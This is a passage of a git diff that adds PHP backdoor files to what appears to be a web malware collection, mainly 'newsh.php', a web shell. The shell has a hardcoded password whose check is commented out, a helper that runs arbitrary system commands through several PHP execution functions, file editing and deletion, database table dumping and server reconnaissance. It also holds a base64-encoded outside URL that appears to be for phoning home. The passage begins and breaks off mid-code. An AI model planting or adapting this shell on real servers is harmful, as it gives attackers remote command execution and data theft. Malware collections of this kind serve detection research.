"4749463839610c000b00800100ffffffffffff21f90401000001002c000000000c000b000002188c"; + echo ($aname == "up")?pack("H130",$header."03a707bddcdc8a54d10b9193c844ff7c8fc785e5740605003b"):pack("H130",$header."81a68bb0df1e4bf0506743a4ba796c7d92287560792a05003b"); + exit; +} + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/newsh.php b/web-malware-collection-master/Backdoors/PHP/newsh.php new file mode 100755 index 0000000..a943af8 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/newsh.php @@ -0,0 +1,1223 @@ +<? +ini_set('memory_limit', '1000M'); +$_nexpwd = "p4ssw0rdZ"; +//if ($_GET['str'] != $_nexpwd) {die();} + + + $images = array( + + + +"change"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAANESURBVHjaYjxx5tZzXh4OHgYk8O3nb4YfP/8zfHhwjkH3aTHD97+WP8+sP7Pw7d173UxMDC+Q1QIEEAsfH6eAhoo0B7Lgr9//GH7+Z2L4+KafQcrgMQPTX2keaVa1onU9924wMjLMZmBEqAUIIJb///7/YUADzKxMDP+fvWQQZN/EwPQaKHDxBMOni0xfPrJwX//99y8D43+EWoAAYmHAAkAWML9ZxsDB8JiB4T0DGJ/nMOb+kJHX9vXzu3hGBsb7rGxsDKwsbAwAAYTVgL+fPjMwf1jEwPwbyPnOxPDsKSPDV4swRnYedttH9587cXJxzb1x5hrD7ZuXGQACCKsBDB/3MzD/ucjA8ION4f/LvwwvpK0YZF2CGb7dvs5w6fvnn2/fvGTYs2MNUOEfBoAAYsKm///DyQysvJwMDF84GN5/5GP4ouHHICQjxcDM8JeBhYWV4cqlK0BV/4CYjQEggDBc8PfFCQZmjltAzcCY/cTA8I5HjUHQIZSB8/9PBj4eXoYjBw8x3LtzHqiSlQ0UYQABhOoCYAj/ezaPgYkDKPwTaPMHHob3Mp4MglLSDCzABMDIzMjw5vVLTpBuIBYBYm6AAGKBRelPUNS8uMjAwv6QgfGPIJDDzvDqOzuDaFAsw68vHxh+//rJ8OnjJwYmRiZgmmGEuZwXIIDgXvgH8tLfH0CGNAMDBy/Dl+dPGd4IWzNw/GNm+Pn6DVAjI8M/oAtBQQQLKlAoAgQQE3Lc//nNCExELgx//7gyXLwmyPBb1YHhDzCd/f33n4GFlQWohhGkC6wRiD8A8VuAAIK7gJWZgeHhy28Ml/YdYZDm5GZgtM1i4FbSZPjz4xvYMmYWJgYubm4GJiamr0Bn/oZgJgaAAGJCdtOP738Ynt96zsBq7M8grGsODOMfDGzAaBMU5GMQExMHuoKZwcbe8begkCwDIyM4EhgAAoiFCQjBSReINY3NGVQMTBmYBYSANv9m+C3Ay8DKzgb0+38GNjZmBmZmFgYuLk6m8KhYhlu3bjLcv3OdASCAWO7eefhh1Yo1PCAnMjIDYwcUWH9+AZ3FDHTZX4b/IE8Dw4CJiZHhAzAWgGHx68vXLwwKCooMqqrqDAABBgD54A4xrMo1ZAAAAABJRU5ErkJggg==", + + +"delete" => +"R0lGODlhEAAQANUAAMczNfRxdPRzdPNydPNzddgqL+AsNN8sM8cpMOY2PuU2PsUgK+UwOfJVYPRja/NjavNja/Nka8UYJ8YZKMUZJ8YgLPJUYMUTJfE/UvA/UfJIWPFIWNRldN+cqMpdSc5uXspXRspYRslYRtWIfMlQQ9ymoMlHPslHP8hHP8c9OeBhW/WBfcc9OuNST/WAfvSAfuPExP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADEALAAAAAAQABAAAAZ8wJhwSCwaj0eYZ1QceWBEWKgVYgpHohYIKiyRXCvSp/QhvcIl4ghFEKhMqkHgZCVyWBHIw/FIcZAACg0NFgkASDEIDBsaGgwISBwVGJSUC39FHBOUBRIFGBkUmEIdF6AXHB0cphkXHUMwFwaoQ6sHF1xCsaNCq7mIwMExQQA7", + + +"folder"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", + +"url"=> +"aHR0cDovL24wdHcuYWx0ZXJ2aXN0YS5vcmcvYy5waHA/dHlwZT1zaGVsbHMmYz0=", + +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", + +"ext_html"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/". +"kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+". +"Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC", + +"ext_jpg"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACjUlEQVQ4jW2STW8jRRCGn+rp+UhGdmKPN5YhwYFIDuxHDrn4Hu6RyE/YC8oPyB+BAzlyzoUjSAgJrbRI5IKEEmmFYKNI3ll2bLPxbpZxnJ5uDjNxshJ96Gqpup56u94W5xwHBwfB/v7+l0op5ZwTgP+JjmoVReH29va+Pj09LTTAysrK4pM/069+fDYA5vcAEEBEQAQl5fnz3ipJknwDlIAoilQYhjSaDQCUSFksglRFSlQZlRAvLrC1taWBKw0QBIFarsVsfBggVVsBBEFEiHwPB7TiiLdXhsai0Ol0NEC5ae2tJ8uEdcXo3ZT82jA1BeIcjcgnDjSeEpYDC7zlzfCCVqt1CwjDUP387Iwf/niJrz18z8PXHrXI53F/lSQYUw8sSoAaXDbvkaV/+3cBnhcv8EGyPB9eLfR41KnRqQc0wgb59B++H/3KLxenrC/cZz1a9eYA3/dVgdBY8HjYjnjQDqjH7xjkf/Fk+Irn+Ut+ev0b6dUIgMfRZwRBcAtQSqn+x00+/WjKi2nG8b9jppezylKfuu7yxb1u5YrwqPaAy1dvbgHOOWnVm7Ro8olz3Pkzt/+hKpbK4qfqqZoDynyZMMaQZRmTyYSiKOh2u2RZhjGGOI5ZW1vDOZkXqAqgbujX19cMBgPOzs4wxnBycsJ4PKbdbmOMwSEU1mKtZQ7wPE8rpd6TubS0xPb2Nv1+nzzPybKM8/NzCmNxtmA2m8ndIXo3T0jTlF6vR7PZpHKInZ0drIWNjR5QoLXH8fHx5e7ubqlAa61vOm9ubpIkyXtqnCtnA5YoihgOh78fHh6+nivI8/wiTdNvnXMWsM45KyLWOWedwxbWFcbMbBSGs8lkkh0dHX03Go2mAP8BZNgCDYdm9o4AAAAASUVORK5CYII=", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", + +"ext_txt"=> +"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACm0lEQVR42mLs7+//z0ABAAhAcRzbAAjDABD8gpXYy6O4ZxKWQCxATUuB4+A4glD8ST/9iAjr3vDobIdzeaNEjn8pCVYcqzHq2JPcNTmXGVXlE0AsMJPMVZkZ/jMwM9hosDD8A7rpHyMTw5/P7xi+Pn/CwCwizcDExcPw99dvhr9AyT9//8JdABBAcAMEuJmgLCgNNOTP60kMDDycDJ8fyjCwKZkxcEqrMPz9/ZPh/3+4NgaAAGLB5i9QoPx+d4mB8VcvA+sHBgbmB44MP6WNGZj+/Gf4B8L//jGwcUDUAgQQE1YD/gGJL/MYWBm/Mfy7y8Lwm1uPgUNei+H/n19A2/8z/EXyAkAAsWCz/e/HWwxMv3cyMHxWYPjySZSByTyCgZHhH9hmkGaQITAAEECYBgAN//9hMQMrMxvDv7dCDD9l/Ri45XUZ/v36BgzAfwyMjIwMzMzMcPUAAQT3AshUkMv/frnDwMx6AxgIqgzfviowsOr6g0QhipmYgC74h2IhQADBXfD9+w+g6awMTJ/2MLCyCDD8+8jI8J1bg4FbQpnhHzDkfwLTAUjNjx+/GTg4WBn4+PjA+gACCOEFYLz/+/aMgeXnKwYGdiWGr58/MfxXcmP48vU7w/cvnxn+/PnD8AuYDkDh8Pv3L7g2gACCG8AE9Bcojv8ymTL8//ST4c3fT0CDRBj+ffgI9vefP38ZLl06C9cIYwMEEMIAoP++//rHcPvQJQZhRT0GBkVHBiZgfLKwMAOdzA5UwQ5WFx4eDqZBybiwsFAYIIAQBjAyMLBx8jIIKhsy8GmZA6MNmLCBgpyc7AysrKxA/3+D2w7VzAUKOoAAghvAwszEwCIqxaAKxNgAFxc3smYWWNQABBALTJBYgKwZBAACDAAKWftvHUTAkgAAAABJRU5ErkJggg==", + + ); + + if ($_GET[act] == "img") { + +header("Content-type: image/gif"); +header("Cache-control: public"); +header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); +header("Cache-control: max-age=".(60*60*24*7)); +header("Last-Modified: ".date("r",filemtime(__FILE__))); + +$image = $images[$_GET['img']]; + echo base64_decode($image); + die(); +} +// Function for table dump +function getperms ($perms) { // <--- thx to php.net + + +if (($perms & 0xC000) == 0xC000) { + // Socket + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + // Symbolic Link + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + // Regular + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + // Block special + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + // Directory + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + // Character special + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + // FIFO pipe + $info = 'p'; +} else { + // Unknown + $info = 'u'; +} + +// Owner +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + +// Group +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + +// World +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + +return $info; +} + + +function datadump ($table) { // <--- thx to mrwebmaster for function + + # Creo la variabile $result + $result .= "# Dump of $table \n"; + $result .= "# Dump DATE : " . date("d-M-Y") ."\n\n"; + + # Conto i campi presenti nella tabella + $query = mysql_query("select * from $table"); + $num_fields = @mysql_num_fields($query); + + # Conto il numero di righe presenti nella tabella + $numrow = mysql_num_rows($query); + + # Passo con un ciclo for tutte le righe della tabella + for ($i =0; $i<$numrow; $i++) + { + $row = mysql_fetch_row($query); + + # Ricreo la tipica sintassi di un comune Dump + $result .= "INSERT INTO ".$table." VALUES("; + + # Con un secondo ciclo for stampo i valori di tutti i campi + # trovati in ogni riga + for($j=0; $j<$num_fields; $j++) { + $row[$j] = addslashes($row[$j]); + $row[$j] = ereg_replace("\n","\\n",$row[$j]); + if (isset($row[$j])) $result .= "\"$row[$j]\"" ; else $result .= "\"\""; + if ($j<($num_fields-1)) $result .= ","; + } + + # Chiudo l'istruzione INSERT + $result .= ");\n"; + } + + return $result . "\n\n\n"; +} + +// using which THX TO R57 +function whicha($pr) +{ +$path = exa("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +// executing command THX TO R57 +function exa($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +// function pari +function pari($num) { +return ($num%2 == 0) ? TRUE : FALSE; +} + + +// Getting Directory.. +if ($_POST['dir'] == "") { + if ($_COOKIE['dir'] == "") { + $dir=realpath("."); + } + else + { + $d = str_replace("\\",DIRECTORY_SEPARATOR, $_COOKIE['dir']); + $d = str_replace("\\\\","\\", $_COOKIE['dir']); + $dir = $d; + } +} +else +{ + $dir = str_replace("\\",DIRECTORY_SEPARATOR,$_POST['dir']); + $d = str_replace("\\\\","\\", $_POST['dir']); + setcookie("dir",$dir); +} + +if (substr($dir,-1) != DIRECTORY_SEPARATOR) {$dir .= DIRECTORY_SEPARATOR;} +// Getting something... +$safemode_off_msg = "<font color=green>Safe Mode: OFF</font><br />"; +$safemode_on_msg = "<font color=red>Safe Mode: ON</font><br />"; +$gpc_off_msg = "<font color=green>Magic Quotes: OFF</font><br />"; +$gpc_on_msg = "<font color=red>Magic Quotes: ON</font><br />"; +$auf_on_msg = "<font color=green>Allow URL Fopen: ON</font><br />"; +$auf_off_msg = "<font color=red>Allow URL Fopen: OFF</font><br />"; +$reglobals_on_msg = "<font color=green>Register Globals: ON</font><br />"; +$reglobals_off_msg = stripslashes("<font color=red>Register Globals: OFF</font><br />"); +$uname = php_uname(); +(ini_get("safe_mode") == 0) ? $safemode = $safemode_off_msg : $safemode = $safemode_on_msg; +(ini_get("magic_quotes_gpc") == 0) ? $gpc = $gpc_off_msg : $gpc = $gpc_on_msg; +(ini_get("allow_url_fopen") == 1) ? $auf = $auf_on_msg : $auf = $auf_off_msg; +(ini_get("register_globals") == 1) ? $reglobals = $reglobals_on_msg : $reglobals = $reglobals_off_msg; + +$freespace = disk_free_space($dir); +$totalspace = disk_total_space($dir); +$percentfree = round(($freespace*100)/$totalspace); +$percentbusy = 100-$percentfree; +$freespace = intval((($freespace/1024)/1024)/1024); +$totalspace = intval((($totalspace/1024)/1024)/1024); +$freespace .= " GB"; +$totalspace .= " GB"; +$current_user = "Who are you? ".get_current_user()."<br />"; +$uid = "Uid: ".getmyuid()." Gid: ".getmygid()."<br />"; + + +if ($_POST['mode'] == "") $_POST['mode'] = "ls"; +if ($_POST['mode'] == "ls") { +//Directory listing +$output .= "<br /><br />Directory listing [ {$dir} ]<br /><div align=left>"; +$output .= '<table width="100%" border="0" cellspacing="0" cellpadding="0"> + <tr> + + <td style="border-bottom:#FFFFFF 1px solid;" width="10%">perms</td> + <td style="border-bottom:#FFFFFF 1px solid;" width="5%">&nbsp;</td> + <td style="border-bottom:#FFFFFF 1px solid;" width="50%">name</td> + <td style="border-bottom:#FFFFFF 1px solid;" width="20%">owner/group</td> + <td style="border-bottom:#FFFFFF 1px solid;" width="15%">actions</td> + </tr>'; +$opendir = opendir($dir)or print("<font color=red>Can't open directory</font>"); +$i = 1; +while ($file=readdir($opendir)){ +$color = "#333333"; + +$icons = array( +"txt" => "ext_txt", +"ini" => "ext_txt", +"sql" => "ext_txt", +"php" => "ext_php", +"pl" => "ext_pl", +"html" => "ext_html", "htm" => "ext_html", +"mp3" => "ext_mp3", +"swf" => "ext_swf", +"rar" => "ext_tar", +"zip" => "ext_tar", +"tar" => "ext_tar", +"gz" => "ext_tar", +"bz" => "ext_tar", +"exe" => "ext_exe", +"jpg" => "ext_jpg", "png" => "ext_jpg", "gif" => "ext_jpg"); + + if ($dir == realpath(".")) { + if (is_file($file)){ + + $ext = array_pop(explode(".",$file)); + if (array_key_exists($ext, $icons)) $icon = $icons[$ext]; + else $icon = "small_unk"; + + if (function_exists("posix_getpwuid")) { + $uid = posix_getpwuid(fileowner($file)); + $gr00p = posix_getgrgid(filegroup($file)); + $owner = $uid[name]."/".$gr00p[name]; } + else + { + $owner = fileowner($file)."/".filegroup($file); + } + $perms = fileperms($file); + $info = getperms($perms); + if (!is_readable($file)) $info = "<font color=red>{$info}</font>"; + elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>"; + else $info = "<font color=green>{$info}</font>"; + $output.= ' <tr style="background-color:'.$color.';"> + <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td> + <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?act=img&img='.$icon.'" /></td> + <td style="border-bottom:#FFFFFF 1px solid;">'.$file.'</td> + <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td> + <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.fedit.modfile.value=\''.$file.'\';document.fedit.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=change" border=0 /></a> - <a class="link" href="javascript:document.delfile.delfile.value=\''.$file.'\';document.delfile.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=delete" border=0 /></a></td> + </tr>'; + + } + else + { + + if (function_exists("posix_getpwuid")) { + $uid = posix_getpwuid(fileowner($file)); + $gr00p = posix_getgrgid(filegroup($file)); + $owner = $uid[name]."/".$gr00p[name]; } + else + { + $owner = fileowner($file)."/".filegroup($file); + } + $perms = fileperms($file); + $info = getperms($perms); + if (!is_readable($file)) $info = "<font color=red>{$info}</font>"; + elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>"; + else $info = "<font color=green>{$info}</font>"; + + $output.= ' <tr style="background-color:'.$color.';"> + <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td> + <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=folder" /></td>'; + $output .= '<td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">'.$file.'</a></td> + <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td> + <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">Go</a></td> + </tr>'; + + } + } + else + { + chdir($dir); + if (is_file($file)){ + $ext = array_pop(explode(".",$file)); + if (array_key_exists($ext, $icons)) $icon = $icons[$ext]; + else $icon = "small_unk"; + + if (function_exists("posix_getpwuid")) { + $uid = posix_getpwuid(fileowner($file)); + $gr00p = posix_getgrgid(filegroup($file)); + $owner = $uid[name]."/".$gr00p[name]; } + else + { + $owner = fileowner($file)."/".filegroup($file); + } + $perms = fileperms($file); + $info = getperms($perms); + if (!is_readable($file)) $info = "<font color=red>{$info}</font>"; + elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>"; + else $info = "<font color=green>{$info}</font>"; + $output.= ' <tr style="background-color:'.$color.';"> + <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td> + <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img='.$icon.'" /></td> + <td style="border-bottom:#FFFFFF 1px solid;">'.$file.'</td> + <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td> + <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.fedit.modfile.value=\''.$file.'\';document.fedit.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=change" border=0 /></a> - <a class="link" href="javascript:document.delfile.delfile.value=\''.$file.'\';document.delfile.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=delete" border=0 /></a></td> + </tr>'; + } + else + { + if (function_exists("posix_getpwuid")) { + $uid = posix_getpwuid(fileowner($file)); + $gr00p = posix_getgrgid(filegroup($file)); + $owner = $uid[name]."/".$gr00p[name]; } 